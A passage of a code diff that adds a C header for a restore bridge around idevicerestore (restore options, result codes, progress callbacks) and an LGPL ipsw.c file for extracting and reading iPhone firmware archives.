+typedef void (*vphone_restore_log_cb_t)(int level, const char *message, void *context);
+
+/* --- Progress ---------------------------------------------------------- */
+
+/*
+ * `step` is one of the values below; `step_progress` runs 0.0 to 1.0 within
+ * that step. Same threading rules as the log callback.
+ */
+typedef void (*vphone_restore_progress_cb_t)(int step, double step_progress, void *context);
+
+/* idevicerestore.h's RESTORE_STEP_* enum, repeated so a caller need not see it. */
+#define VPHONE_RESTORE_STEP_DETECT 0
+#define VPHONE_RESTORE_STEP_PREPARE 1
+#define VPHONE_RESTORE_STEP_UPLOAD_FS 2
+#define VPHONE_RESTORE_STEP_VERIFY_FS 3
+#define VPHONE_RESTORE_STEP_FLASH_FW 4
+#define VPHONE_RESTORE_STEP_FLASH_BB 5
+#define VPHONE_RESTORE_STEP_FUD 6
+#define VPHONE_RESTORE_STEP_UPLOAD_IMG 7
+
+/* A short label for a step, or "unknown" for a value not listed above. */
+const char *vphone_restore_step_name(int step);
+
+/* --- Result codes ------------------------------------------------------ */
+
+/*
+ * 0 is success. A negative value from idevicerestore_start() is passed
+ * straight through, and those are small negatives (-1, -2, …), so the
+ * bridge's own failures sit far below them where they cannot be confused.
+ */
+#define VPHONE_RESTORE_OK 0
+#define VPHONE_RESTORE_E_INVALID_ARG (-1001)
+#define VPHONE_RESTORE_E_NO_RESTORE_DIR (-1002)
+#define VPHONE_RESTORE_E_TICKET (-1003)
+#define VPHONE_RESTORE_E_OUT_OF_MEMORY (-1004)
+#define VPHONE_RESTORE_E_BUSY (-1005)
+
+/* A one-line explanation of a bridge result code. Never NULL. */
+const char *vphone_restore_error_string(int code);
+
+/* --- Running a restore ------------------------------------------------- */
+
+struct vphone_restore_options {
+ /*
+ * The extracted iPhone*_Restore directory. Required, and it really does
+ * have to be a directory: this build has no libzip, so a .ipsw file is
+ * rejected here rather than failing later. See zip.h.
+ */
+ const char *restore_dir;
+
+ /* Where personalized components and the .shsh from shsh_only are cached.
+ * NULL means idevicerestore's default, which is the current directory. */
+ const char *cache_dir;
+
+ /* Target a specific device by UDID. NULL to target by ECID alone.
+ * Only devices in normal mode have a UDID idevicerestore can match. */
+ const char *udid;
+
+ /* Target a specific device by ECID. 0 means "the only one attached". */
+ uint64_t ecid;
+
+ /* true -> erase install, upstream's -e (pymobiledevice3's Behavior.Erase)
+ * false -> update in place (Behavior.Update) */
+ bool erase;
+
+ /*
+ * NULL fetches a ticket from Apple over the network.
+ *
+ * Non-NULL is an offline restore from a saved TSS response, and the file
+ * must be the WHOLE response plist — the thing `shsh_only` writes, or
+ * what pymobiledevice3's fetch_tss_record() dumps — not a bare AP
+ * ticket. A full response carries a signature per component; a bare
+ * ApImg4Ticket does not, and personalizing with one produces components
+ * the device rejects. This is deliberately NOT upstream's -T/--ticket,
+ * which takes the bare ticket; see vphone_restore_bridge.c.
+ */
+ const char *ticket_path;
+
+ /* Fetch the TSS record, save it under cache_dir/shsh/, and stop without
+ * touching the device. Upstream's -t/--shsh. */
+ bool shsh_only;
+
+ /* Also write each personalized component to a file, for debugging.
+ * Upstream's -k/--keep-pers. */
+ bool keep_pers;
+
+ /* 0 is normal output. 1 or more turns on idevicerestore's debug logging,
+ * which is what raises the log callback's level ceiling to DEBUG. */
+ int debug_level;
+
+ /* NULL discards the output / the progress notifications. */
+ vphone_restore_log_cb_t log_cb;
+ vphone_restore_progress_cb_t progress_cb;
+
+ /* Passed back to both callbacks untouched. */
+ void *context;
+};
+
+/*
+ * Runs one restore to completion, blocking the calling thread for its whole
+ * duration — minutes, and it drives USB and the network throughout, so it
+ * does not belong on the main thread of a GUI.
+ *
+ * Returns VPHONE_RESTORE_OK, one of the VPHONE_RESTORE_E_* codes above, or a
+ * negative idevicerestore result.
+ */
+int vphone_restore_run(const struct vphone_restore_options *options);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif /* VPHONE_RESTORE_BRIDGE_H */
diff --git a/sources/MobileRestoreCore/ipsw.c b/sources/MobileRestoreCore/ipsw.c
new file mode 100644
index 00000000..cebfa493
--- /dev/null
+++ b/sources/MobileRestoreCore/ipsw.c
@@ -0,0 +1,1542 @@
+/*
+ * ipsw.c
+ * Utilities for extracting and manipulating IPSWs
+ *
+ * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved.
+ * Copyright (c) 2010-2012 Martin Szulecki. All Rights Reserved.
+ * Copyright (c) 2010 Joshua Hill. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <errno.h>
+#include <limits.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <dirent.h>
+#include <zip.h>
+
+#include <libimobiledevice-glue/sha.h>
+#include <libimobiledevice-glue/termcolors.h>
+#include <plist/plist.h>
+
+#include "ipsw.h"
+#include "locking.h"
+#include "download.h"
+#include "common.h"
+#include "idevicerestore.h"
+
+#define BUFSIZE 0x100000
+
+static int cancel_flag = 0;
+
+static char* build_path(const char* path, const char* file)
+{
+ size_t plen = strlen(path);
+ size_t flen = strlen(file);
+ char *fullpath = malloc(plen + flen + 2);
+ if (!fullpath) {
+ return NULL;
+ }
+ memcpy(fullpath, path, plen);
+ fullpath[plen] = '/';
+ memcpy(fullpath+plen+1, file, flen);
+ fullpath[plen+1+flen] = '\0';
+ return fullpath;
+}
+
+int ipsw_print_info(const char* path)
+{
+ struct stat fst;
+
+ if (stat(path, &fst) != 0) {
+ logger(LL_ERROR, "'%s': %s\n", path, strerror(errno));
+ return -1;
+ }
+
+ char thepath[PATH_MAX];
+
+ if (S_ISDIR(fst.st_mode)) {
+ snprintf(thepath, sizeof(thepath), "%s/BuildManifest.plist", path);
+ if (stat(thepath, &fst) != 0) {
+ logger(LL_ERROR, "'%s': %s\n", thepath, strerror(errno));
+ return -1;
+ }
+ } else {
+ snprintf(thepath, sizeof(thepath), "%s", path);
+ }
+
+ FILE* f = fopen(thepath, "r");
+ if (!f) {
+ logger(LL_ERROR, "Can't open '%s': %s\n", thepath, strerror(errno));
+ return -1;
+ }
+ uint32_t magic;
+ if (fread(&magic, 1, 4, f) != 4) {
+ fclose(f);
+ logger(LL_ERROR, "Failed to read from '%s'\n", path);
+ return -1;
+ }
+ fclose(f);
+
+ void* plist_buf = NULL;
+ uint32_t plist_len = 0;
+
+ if (memcmp(&magic, "PK\x03\x04", 4) == 0) {
+ ipsw_archive_t ipsw = ipsw_open(thepath);
+ size_t rlen = 0;
+ if (ipsw_extract_to_memory(ipsw, "BuildManifest.plist", &plist_buf, &rlen) < 0) {
+ ipsw_close(ipsw);
+ logger(LL_ERROR, "Failed to extract BuildManifest.plist from IPSW!\n");
+ return -1;
+ }
+ ipsw_close(ipsw);
+ plist_len = (uint32_t)rlen;
+ } else {
+ size_t rlen = 0;
+ if (read_file(thepath, &plist_buf, &rlen) < 0) {
+ logger(LL_ERROR, "Failed to read BuildManifest.plist!\n");
+ return -1;
+ }
+ plist_len = (uint32_t)rlen;
+ }
+
+ plist_t manifest = NULL;
+ plist_from_memory(plist_buf, plist_len, &manifest, NULL);
+ free(plist_buf);
+
+ plist_t val;
+
+ char* prod_ver = NULL;
+ char* build_ver = NULL;
+
+ val = plist_dict_get_item(manifest, "ProductVersion");
+ if (val) {
+ plist_get_string_val(val, &prod_ver);
+ }
+
+ val = plist_dict_get_item(manifest, "ProductBuildVersion");
+ if (val) {
+ plist_get_string_val(val, &build_ver);
+ }
+
+ cprintf(FG_WHITE "Product Version: " FG_BRIGHT_YELLOW "%s" COLOR_RESET FG_WHITE " Build: " FG_BRIGHT_YELLOW "%s" COLOR_RESET "\n", prod_ver, build_ver);
+ free(prod_ver);
+ free(build_ver);
+ cprintf(FG_WHITE "Supported Product Types:" COLOR_RESET);
+ val = plist_dict_get_item(manifest, "SupportedProductTypes");
+ if (val) {
+ plist_array_iter iter = NULL;
+ plist_array_new_iter(val, &iter);
+ if (iter) {
+ plist_t item = NULL;
+ do {
+ plist_array_next_item(val, iter, &item);
+ if (item) {
+ char* item_str = NULL;
+ plist_get_string_val(item, &item_str);
+ cprintf(" " FG_BRIGHT_CYAN "%s" COLOR_RESET, item_str);
+ free(item_str);
+ }
+ } while (item);
+ free(iter);
+ }
+ }
+ cprintf("\n");
+
+ cprintf(FG_WHITE "Build Identities:" COLOR_RESET "\n");
+
+ plist_t build_ids_grouped = plist_new_dict();
+
+ plist_t build_ids = plist_dict_get_item(manifest, "BuildIdentities");
+ plist_array_iter build_id_iter = NULL;
+ plist_array_new_iter(build_ids, &build_id_iter);
+ if (build_id_iter) {
+ plist_t build_identity = NULL;
+ do {
+ plist_array_next_item(build_ids, build_id_iter, &build_identity);
+ if (!build_identity) {
+ break;
+ }
+ plist_t node;
+ char* variant_str = NULL;
+
+ node = plist_access_path(build_identity, 2, "Info", "Variant");
+ plist_get_string_val(node, &variant_str);
+
+ plist_t entries = NULL;
+ plist_t group = plist_dict_get_item(build_ids_grouped, variant_str);
+ if (!group) {
+ group = plist_new_dict();
+ node = plist_access_path(build_identity, 2, "Info", "RestoreBehavior");
+ if (node) {
+ plist_dict_set_item(group, "RestoreBehavior", plist_copy(node));
+ } else {
+ if (strstr(variant_str, "Upgrade")) {
+ plist_dict_set_item(group, "RestoreBehavior", plist_new_string("Update"));
+ } else if (strstr(variant_str, "Erase")) {
+ plist_dict_set_item(group, "RestoreBehavior", plist_new_string("Erase"));
+ }
+ }
+ entries = plist_new_array();
+ plist_dict_set_item(group, "Entries", entries);
+ plist_dict_set_item(build_ids_grouped, variant_str, group);
+ } else {
+ entries = plist_dict_get_item(group, "Entries");
+ }
+ free(variant_str);
+ plist_array_append_item(entries, plist_copy(build_identity));
+ } while (build_identity);
+ free(build_id_iter);
+ }
+
+ plist_dict_iter build_ids_group_iter = NULL;
+ plist_dict_new_iter(build_ids_grouped, &build_ids_group_iter);
+ if (build_ids_group_iter) {
+ plist_t group = NULL;
+ int group_no = 0;
+ do {
+ group = NULL;
+ char* key = NULL;
+ plist_dict_next_item(build_ids_grouped, build_ids_group_iter, &key, &group);
+ if (!key) {
+ break;
+ }
+ plist_t node;
+ char* rbehavior = NULL;
+
+ group_no++;
+ node = plist_dict_get_item(group, "RestoreBehavior");
+ plist_get_string_val(node, &rbehavior);
+ cprintf(" " FG_WHITE "[%d] Variant: " FG_BRIGHT_CYAN "%s" FG_WHITE " Behavior: " FG_BRIGHT_CYAN "%s" COLOR_RESET "\n", group_no, key, rbehavior);
+ free(key);
+ free(rbehavior);
+
+ build_ids = plist_dict_get_item(group, "Entries");
+ if (!build_ids) {
+ continue;
+ }
+ build_id_iter = NULL;
+ plist_array_new_iter(build_ids, &build_id_iter);
+ if (!build_id_iter) {
+ continue;
+ }
+ plist_t build_id;
+ do {
+ build_id = NULL;
+ plist_array_next_item(build_ids, build_id_iter, &build_id);
+ if (!build_id) {
+ break;
+ }
+ uint64_t chip_id = 0;
+ uint64_t board_id = 0;
+ char* hwmodel = NULL;
+
+ node = plist_dict_get_item(build_id, "ApChipID");
+ if (PLIST_IS_STRING(node)) {
+ char* strval = NULL;
+ plist_get_string_val(node, &strval);
+ if (strval) {
+ chip_id = strtoull(strval, NULL, 0);
+ free(strval);
+ }
+ } else {
+ plist_get_uint_val(node, &chip_id);
+ }
+
+ node = plist_dict_get_item(build_id, "ApBoardID");
+ if (PLIST_IS_STRING(node)) {
+ char* strval = NULL;
+ plist_get_string_val(node, &strval);
+ if (strval) {
+ board_id = strtoull(strval, NULL, 0);
+ free(strval);
+ }
+ } else {
+ plist_get_uint_val(node, &board_id);
+ }
+
+ node = plist_access_path(build_id, 2, "Info", "DeviceClass");
+ plist_get_string_val(node, &hwmodel);
+
+ irecv_device_t irecvdev = NULL;
+ if (irecv_devices_get_device_by_hardware_model(hwmodel, &irecvdev) == 0) {
+ cprintf(" ChipID: " FG_GREEN "%04x" COLOR_RESET " BoardID: " FG_GREEN "%02x" COLOR_RESET " Model: " FG_YELLOW "%-8s" COLOR_RESET " " FG_MAGENTA "%s" COLOR_RESET "\n", (int)chip_id, (int)board_id, hwmodel, irecvdev->display_name);
+ } else {
+ cprintf(" ChipID: " FG_GREEN "%04x" COLOR_RESET " BoardID: " FG_GREEN "%02x" COLOR_RESET " Model: " FG_YELLOW "%s" COLOR_RESET "\n", (int)chip_id, (int)board_id, hwmodel);
+ }
+ free(hwmodel);
+ } while (build_id);
+ free(build_id_iter);
+ } while (group);
+ free(build_ids_group_iter);
+ }
+ plist_free(build_ids_grouped);
+
+ plist_free(manifest);
+
+ return 0;
+}
+
+ipsw_archive_t ipsw_open(const char* ipsw)
+{
+ int err = 0;
+ ipsw_archive_t archive = (ipsw_archive_t)calloc(1, sizeof(struct ipsw_archive));
+ if (archive == NULL) {
+ logger(LL_ERROR, "Out of memory\n");
+ return NULL;
+ }
+
+ struct stat fst;
+ if (stat(ipsw, &fst) != 0) {
+ logger(LL_ERROR, "ipsw_open %s: %s\n", ipsw, strerror(errno));
+ return NULL;
+ }
+ if (S_ISDIR(fst.st_mode)) {
+ archive->zip = 0;
+ } else {
+ struct zip *zip = zip_open(ipsw, 0, &err);
+ if (zip == NULL) {
+ logger(LL_ERROR, "zip_open: %s: %d\n", ipsw, err);
+ free(archive);
+ return NULL;
+ }
+ archive->zip = 1;
+ }
+ archive->path = strdup(ipsw);
+ return (ipsw_archive_t)archive;
+}
+
+void ipsw_close(ipsw_archive_t ipsw)
+{
+ if (ipsw != NULL) {
+ free(ipsw->path);
+ free(ipsw);
+ }
+}
+
+int ipsw_is_directory(const char* ipsw)
+{
+ struct stat fst;
+ memset(&fst, '\0', sizeof(fst));
+ if (stat(ipsw, &fst) != 0) {
+ return 0;
+ }
+ return S_ISDIR(fst.st_mode);
+}
+
+int ipsw_get_file_size(ipsw_archive_t ipsw, const char* infile, uint64_t* size)
+{
+ if (ipsw == NULL) {
+ logger(LL_ERROR, "Invalid archive\n");
+ return -1;
+ }
+
+ if (ipsw->zip) {
+ int err = 0;
+ struct zip *zip = zip_open(ipsw->path, 0, &err);
+ if (zip == NULL) {
+ logger(LL_ERROR, "zip_open: %s: %d\n", ipsw->path, err);
+ return -1;
+ }
+ int zindex = zip_name_locate(zip, infile, 0);
+ if (zindex < 0) {
+ logger(LL_ERROR, "zip_name_locate: %s\n", infile);
+ zip_unchange_all(zip);
+ zip_close(zip);
+ return -1;
+ }
+
+ struct zip_stat zstat;
+ zip_stat_init(&zstat);
+ if (zip_stat_index(zip, zindex, 0, &zstat) != 0) {
+ logger(LL_ERROR, "zip_stat_index: %s\n", infile);
+ zip_unchange_all(zip);
+ zip_close(zip);
+ return -1;
+ }
+ zip_unchange_all(zip);
+ zip_close(zip);
+
+ *size = zstat.size;
+ } else {
+ char *filepath = build_path(ipsw->path, infile);
+ struct stat fst;
+ if (stat(filepath, &fst) != 0) {
+ free(filepath);
+ return -1;
+ }
+ free(filepath);
+
+ *size = fst.st_size;
+ }
+
+ return 0;
+}
+
+int ipsw_extract_to_file_with_progress(ipsw_archive_t ipsw, const char* infile, const char* outfile, int print_progress)
+{
+ int ret = 0;
+
+ if (!ipsw || !infile || !outfile) {
+ logger(LL_ERROR, "Invalid argument\n");
+ return -1;
+ }
+
+ cancel_flag = 0;
+
+ if (ipsw->zip) {
+ int err = 0;
+ struct zip *zip = zip_open(ipsw->path, 0, &err);
+ if (zip == NULL) {
+ logger(LL_ERROR, "zip_open: %s: %d\n", ipsw->path, err);
+ return -1;
+ }
+
+ int zindex = zip_name_locate(zip, infile, 0);
+ if (zindex < 0) {
+ zip_unchange_all(zip);
+ zip_close(zip);
+ logger(LL_ERROR, "zip_name_locate: %s\n", infile);
+ return -1;
+ }
+
+ struct zip_stat zstat;
+ zip_stat_init(&zstat);
+ if (zip_stat_index(zip, zindex, 0, &zstat) != 0) {
+ zip_unchange_all(zip);
+ zip_close(zip);
+ logger(LL_ERROR, "zip_stat_index: %s\n", infile);
+ return -1;
+ }
+
+ char* buffer = (char*) malloc(BUFSIZE);
+ if (buffer == NULL) {
+ zip_unchange_all(zip);
+ zip_close(zip);
+ logger(LL_ERROR, "Unable to allocate memory\n");
+ return -1;
+ }
+
+ struct zip_file* zfile = zip_fopen_index(zip, zindex, 0);
+ if (zfile == NULL) {
+ zip_unchange_all(zip);
+ zip_close(zip);
+ logger(LL_ERROR, "zip_fopen_index: %s\n", infile);
+ return -1;
+ }
+
+ FILE* fd = fopen(outfile, "wb");
+ if (fd == NULL) {
+ zip_fclose(zfile);
+ zip_unchange_all(zip);
+ zip_close(zip);
+ logger(LL_ERROR, "Unable to open output file: %s\n", outfile);
+ return -1;
+ }
+
+ if (print_progress) {
+ register_progress('IPSW', "Extracting");
+ }
+ uint64_t i, bytes = 0;
+ int count, size = BUFSIZE;
+ for(i = zstat.size; i > 0; i -= count) {
+ if (cancel_flag) {
+ break;
+ }
+ if (i < BUFSIZE)
+ size = i;
+ count = zip_fread(zfile, buffer, size);
+ if (count < 0) {
+ int zep = 0;
+ int sep = 0;
+ zip_file_error_get(zfile, &zep, &sep);
+ logger(LL_ERROR, "zip_fread: %s %d %d\n", infile, zep, sep);
+ ret = -1;
+ break;
+ }
+ if (fwrite(buffer, 1, count, fd) != count) {
+ logger(LL_ERROR, "Writing to '%s' failed: %s\n", outfile, strerror(errno));
+ ret = -1;
+ break;
+ }
+
+ bytes += size;
+ if (print_progress) {
+ double progress = ((double)bytes / (double)zstat.size);
+ set_progress('IPSW', progress);
+ }
+ }
+ free(buffer);
+ if (print_progress) {
+ finalize_progress('IPSW');
+ }
+ fclose(fd);
+ zip_fclose(zfile);
+ zip_unchange_all(zip);
+ zip_close(zip);
+ } else {
+ char *filepath = build_path(ipsw->path, infile);
+ char actual_filepath[PATH_MAX+1];
+ char actual_outfile[PATH_MAX+1];
+ if (!filepath) {
+ ret = -1;
+ goto leave;
+ }
+ if (!realpath(filepath, actual_filepath)) {
+ logger(LL_ERROR, "realpath failed on %s: %s\n", filepath, strerror(errno));
+ ret = -1;
+ goto leave;
+ } else {
+ actual_outfile[0] = '\0';
+ if (realpath(outfile, actual_outfile) && (strcmp(actual_filepath, actual_outfile) == 0)) {
+ /* files are identical */
+ ret = 0;
+ } else {
+ if (actual_outfile[0] == '\0') {
+ strcpy(actual_outfile, outfile);
+ }
+ FILE *fi = fopen(actual_filepath, "rb");
+ if (!fi) {
+ logger(LL_ERROR, "fopen: %s: %s\n", actual_filepath, strerror(errno));
+ ret = -1;
+ goto leave;
+ }
+ struct stat fst;
+ if (fstat(fileno(fi), &fst) != 0) {
+ fclose(fi);
+ logger(LL_ERROR, "fstat: %s: %s\n", actual_filepath, strerror(errno));
+ ret = -1;
+ goto leave;
+ }
+ FILE *fo = fopen(actual_outfile, "wb");
+ if (!fo) {
+ fclose(fi);
+ logger(LL_ERROR, "fopen: %s: %s\n", actual_outfile, strerror(errno));
+ ret = -1;
+ goto leave;
+ }
+ char* buffer = (char*) malloc(BUFSIZE);
+ if (buffer == NULL) {
+ fclose(fi);
+ fclose(fo);
+ logger(LL_ERROR, "Unable to allocate memory\n");
+ ret = -1;
+ goto leave;;
+ }
+
+ if (print_progress) {
+ register_progress('IPSW', "Extracting");
+ }
+ uint64_t bytes = 0;
+ while (!feof(fi)) {
+ if (cancel_flag) {
+ break;
+ }
+ ssize_t r = fread(buffer, 1, BUFSIZE, fi);
+ if (r < 0) {
+ logger(LL_ERROR, "fread failed: %s\n", strerror(errno));
+ ret = -1;
+ break;
+ }
+ if (fwrite(buffer, 1, r, fo) != r) {
+ logger(LL_ERROR, "Writing to '%s' failed: %s\n", actual_outfile, strerror(errno));
+ ret = -1;
+ break;
+ }
+ bytes += r;
+ if (print_progress) {
+ double progress = ((double)bytes / (double)fst.st_size);
+ set_progress('IPSW', progress);
+ }
+ }
+ if (print_progress) {
+ finalize_progress('IPSW');
+ }
+
+ free(buffer);
+ fclose(fi);
+ fclose(fo);
+ }
+ }
+ leave:
+ free(filepath);
+ }
+ if (cancel_flag) {
+ ret = -2;
+ }
+ return ret;
+}
+
+int ipsw_extract_to_file(ipsw_archive_t ipsw, const char* infile, const char* outfile)
+{
+ return ipsw_extract_to_file_with_progress(ipsw, infile, outfile, 0);
+}
+
+int ipsw_file_exists(ipsw_archive_t ipsw, const char* infile)
+{
+ if (!ipsw) {
+ return 0;
+ }
+
+ if (ipsw->zip) {
+ int err = 0;
+ struct zip *zip = zip_open(ipsw->path, 0, &err);
+ if (zip == NULL) {
+ logger(LL_ERROR, "zip_open: %s: %d\n", ipsw->path, err);
+ return 0;
+ }
+ int zindex = zip_name_locate(zip, infile, 0);
+ zip_unchange_all(zip);
+ zip_close(zip);
+ if (zindex < 0) {
+ return 0;
+ }
+ } else {
+ char *filepath = build_path(ipsw->path, infile);
+ if (access(filepath, R_OK) != 0) {
+ free(filepath);
+ return 0;
+ }
+ free(filepath);
+ }
+
+ return 1;
+}
+
+int ipsw_extract_to_memory(ipsw_archive_t ipsw, const char* infile, void** pbuffer, size_t* psize)
+{
+ size_t size = 0;
+ unsigned char* buffer = NULL;
+ if (ipsw == NULL) {
+ logger(LL_ERROR, "Invalid archive\n");
+ return -1;
+ }
+
+ if (ipsw->zip) {
+ int err = 0;
+ struct zip *zip = zip_open(ipsw->path, 0, &err);
+ if (zip == NULL) {
+ logger(LL_ERROR, "zip_open: %s: %d\n", ipsw->path, err);
+ return -1;
+ }
+
+ int zindex = zip_name_locate(zip, infile, 0);
+ if (zindex < 0) {
+ zip_unchange_all(zip);
+ zip_close(zip);
+ logger(LL_DEBUG, "zip_name_locate: '%s' not found in archive.\n", infile);
+ return -1;
+ }
+
+ struct zip_stat zstat;
+ zip_stat_init(&zstat);
+ if (zip_stat_index(zip, zindex, 0, &zstat) != 0) {
+ zip_unchange_all(zip);
+ zip_close(zip);
+ logger(LL_ERROR, "zip_stat_index: %s\n", infile);
+ return -1;
+ }
+
+ struct zip_file* zfile = zip_fopen_index(zip, zindex, 0);
+ if (zfile == NULL) {
+ zip_unchange_all(zip);
+ zip_close(zip);
+ logger(LL_ERROR, "zip_fopen_index: %s\n", infile);
+ return -1;
+ }
+
+ size = zstat.size;
+ if ((uint64_t)size != (uint64_t)zstat.size) {
+ logger(LL_ERROR, "Not enough memory to allocate a buffer of size %" PRIu64 "\n", (uint64_t)zstat.size);
+ zip_fclose(zfile);
+ zip_unchange_all(zip);
+ zip_close(zip);
+ return -1;
+ }
+ buffer = (unsigned char*) malloc(size+1);
+ if (buffer == NULL) {
+ logger(LL_ERROR, "Out of memory\n");
+ zip_fclose(zfile);
+ zip_unchange_all(zip);
+ zip_close(zip);
+ return -1;
+ }
+
+ zip_int64_t zr = zip_fread(zfile, buffer, size);
+ zip_fclose(zfile);
+ zip_unchange_all(zip);
+ zip_close(zip);
+ if (zr < 0) {
+ int zep = 0;
+ int sep = 0;
+ zip_file_error_get(zfile, &zep, &sep);
+ logger(LL_ERROR, "zip_fread: %s %d %d\n", infile, zep, sep);
+ free(buffer);
+ return -1;
+ } else if (zr != size) {
+ logger(LL_ERROR, "zip_fread: %s got only %zu of %zu\n", infile, (size_t)zr, size);
+ free(buffer);
+ return -1;
+ }
+
+ buffer[size] = '\0';
+ } else {
+ char *filepath = build_path(ipsw->path, infile);
+ struct stat fst;
+#ifdef WIN32
+ if (stat(filepath, &fst) != 0) {
+#else
+ if (lstat(filepath, &fst) != 0) {
+#endif
+ logger(LL_ERROR, "%s: stat failed for %s: %s\n", __func__, filepath, strerror(errno));
+ free(filepath);
+ return -1;
+ }
+ size = fst.st_size;
+ if ((uint64_t)size != (uint64_t)fst.st_size) {
+ logger(LL_ERROR, "Not enough memory to allocate a buffer of size %" PRIu64 "\n", (uint64_t)fst.st_size);
+ free(filepath);
+ return -1;
+ }
+ buffer = (unsigned char*)malloc(size+1);
+ if (buffer == NULL) {
+ logger(LL_ERROR, "Out of memory\n");
+ free(filepath);
+ return -1;
+ }
+
+#ifndef WIN32
+ if (S_ISLNK(fst.st_mode)) {
+ if (readlink(filepath, (char*)buffer, size) < 0) {
+ logger(LL_ERROR, "%s: readlink failed for %s: %s\n", __func__, filepath, strerror(errno));
+ free(filepath);
+ free(buffer);
+ return -1;
+ }
+ } else {
+#endif
+ FILE *f = fopen(filepath, "rb");
+ if (!f) {
+ logger(LL_ERROR, "%s: fopen failed for %s: %s\n", __func__, filepath, strerror(errno));
+ free(filepath);
+ free(buffer);
+ return -2;
+ }
+ if (fread(buffer, 1, size, f) != size) {
+ fclose(f);
+ logger(LL_ERROR, "%s: fread failed for %s: %s\n", __func__, filepath, strerror(errno));
+ free(filepath);
+ free(buffer);
+ return -1;
+ }
+ fclose(f);
+#ifndef WIN32
+ }
+#endif
+ buffer[size] = '\0';
+
+ free(filepath);
+ }
+
+ *pbuffer = buffer;
+ *psize = size;
+ return 0;
+}
+
+int ipsw_extract_send(ipsw_archive_t ipsw, const char* infile, int blocksize, ipsw_send_cb send_callback, void* ctx)
+{
+ unsigned char* buffer = NULL;
+ size_t done = 0;
+ size_t total_size = 0;
+
+ if (ipsw == NULL) {
+ logger(LL_ERROR, "Invalid archive\n");
+ return -1;
+ }
+
+ if (ipsw->zip) {
+ int err = 0;
+ struct zip *zip = zip_open(ipsw->path, 0, &err);
+ if (zip == NULL) {
+ logger(LL_ERROR, "zip_open: %s: %d\n", ipsw->path, err);
+ return -1;
+ }
+
+ int zindex = zip_name_locate(zip, infile, 0);
+ if (zindex < 0) {
+ zip_unchange_all(zip);
+ zip_close(zip);
+ logger(LL_DEBUG, "zip_name_locate: '%s' not found in archive.\n", infile);
+ return -1;
+ }
+
+ struct zip_stat zstat;
+ zip_stat_init(&zstat);
+ if (zip_stat_index(zip, zindex, 0, &zstat) != 0) {
+ zip_unchange_all(zip);
+ zip_close(zip);
+ logger(LL_ERROR, "zip_stat_index: %s\n", infile);
+ return -1;
+ }
+
+ struct zip_file* zfile = zip_fopen_index(zip, zindex, 0);
+ if (zfile == NULL) {
+ zip_unchange_all(zip);
+ zip_close(zip);
+ logger(LL_ERROR, "zip_fopen_index: %s\n", infile);
+ return -1;
+ }
+
+ total_size = zstat.size;
+ buffer = (unsigned char*) malloc(blocksize);
+ if (buffer == NULL) {
+ zip_fclose(zfile);
+ zip_unchange_all(zip);
+ zip_close(zip);
+ logger(LL_ERROR, "Out of memory\n");
+ return -1;
+ }
+
+ while (done < total_size) {
+ size_t size = total_size-done;
+ if (size > blocksize) size = blocksize;
+ zip_int64_t zr = zip_fread(zfile, buffer, size);
+ if (zr < 0) {
+ logger(LL_ERROR, "%s: zip_fread: %s\n", __func__, infile);
+ break;
+ } else if (zr == 0) {
+ // EOF
+ break;
+ }
+ if (send_callback(ctx, buffer, zr, done, total_size) < 0) {
+ logger(LL_ERROR, "%s: send failed\n", __func__);
+ break;
+ }
+ done += zr;
+ }
+ free(buffer);
+ zip_fclose(zfile);
+ zip_unchange_all(zip);
+ zip_close(zip);
+ } else {
+ char *filepath = build_path(ipsw->path, infile);
+ struct stat fst;
+#ifdef WIN32
+ if (stat(filepath, &fst) != 0) {
+#else
+ if (lstat(filepath, &fst) != 0) {
+#endif
+ logger(LL_ERROR, "%s: stat failed for %s: %s\n", __func__, filepath, strerror(errno));
+ free(filepath);
+ return -1;
+ }
+ total_size = fst.st_size;
+ buffer = (unsigned char*)malloc(blocksize);
+ if (buffer == NULL) {
+ logger(LL_ERROR, "Out of memory\n");
+ free(filepath);
+ return -1;
+ }
+
+#ifndef WIN32
+ if (S_ISLNK(fst.st_mode)) {
+ ssize_t rl = readlink(filepath, (char*)buffer, (total_size > blocksize) ? blocksize : total_size);
+ if (rl < 0) {
+ logger(LL_ERROR, "%s: readlink failed for %s: %s\n", __func__, filepath, strerror(errno));
+ free(filepath);
+ free(buffer);
+ return -1;
+ }
+ send_callback(ctx, buffer, (size_t)rl, 0, 0);
+ } else {
+#endif
+ FILE *f = fopen(filepath, "rb");
+ if (!f) {
+ logger(LL_ERROR, "%s: fopen failed for %s: %s\n", __func__, filepath, strerror(errno));
+ free(filepath);
+ free(buffer);
+ return -2;
+ }
+
+ while (done < total_size) {
+ size_t size = total_size-done;
+ if (size > blocksize) size = blocksize;
+ size_t fr = fread(buffer, 1, size, f);
+ if (fr != size) {
+ logger(LL_ERROR, "%s: fread failed for %s: %s\n", __func__, filepath, strerror(errno));
+ break;
+ }
+ if (send_callback(ctx, buffer, fr, done, total_size) < 0) {
+ logger(LL_ERROR, "%s: send failed\n", __func__);
+ break;
+ }
+ done += fr;
+ }
+ fclose(f);
+#ifndef WIN32
+ }
+#endif
+ free(filepath);
+ free(buffer);
+ }
+
+ if (done < total_size) {
+ logger(LL_ERROR, "%s: Sending file data for %s failed (sent %" PRIu64 "/%" PRIu64 ")\n", __func__, infile, (uint64_t)done, (uint64_t)total_size);
+ return -1;
+ }
+
+ // send a NULL buffer to mark end of transfer
+ send_callback(ctx, NULL, 0, done, total_size);
+
+ return 0;
+}
+
+int ipsw_extract_build_manifest(ipsw_archive_t ipsw, plist_t* buildmanifest, int *tss_enabled)
+{
+ size_t size = 0;
+ void* data = NULL;
+
+ *tss_enabled = 0;
+
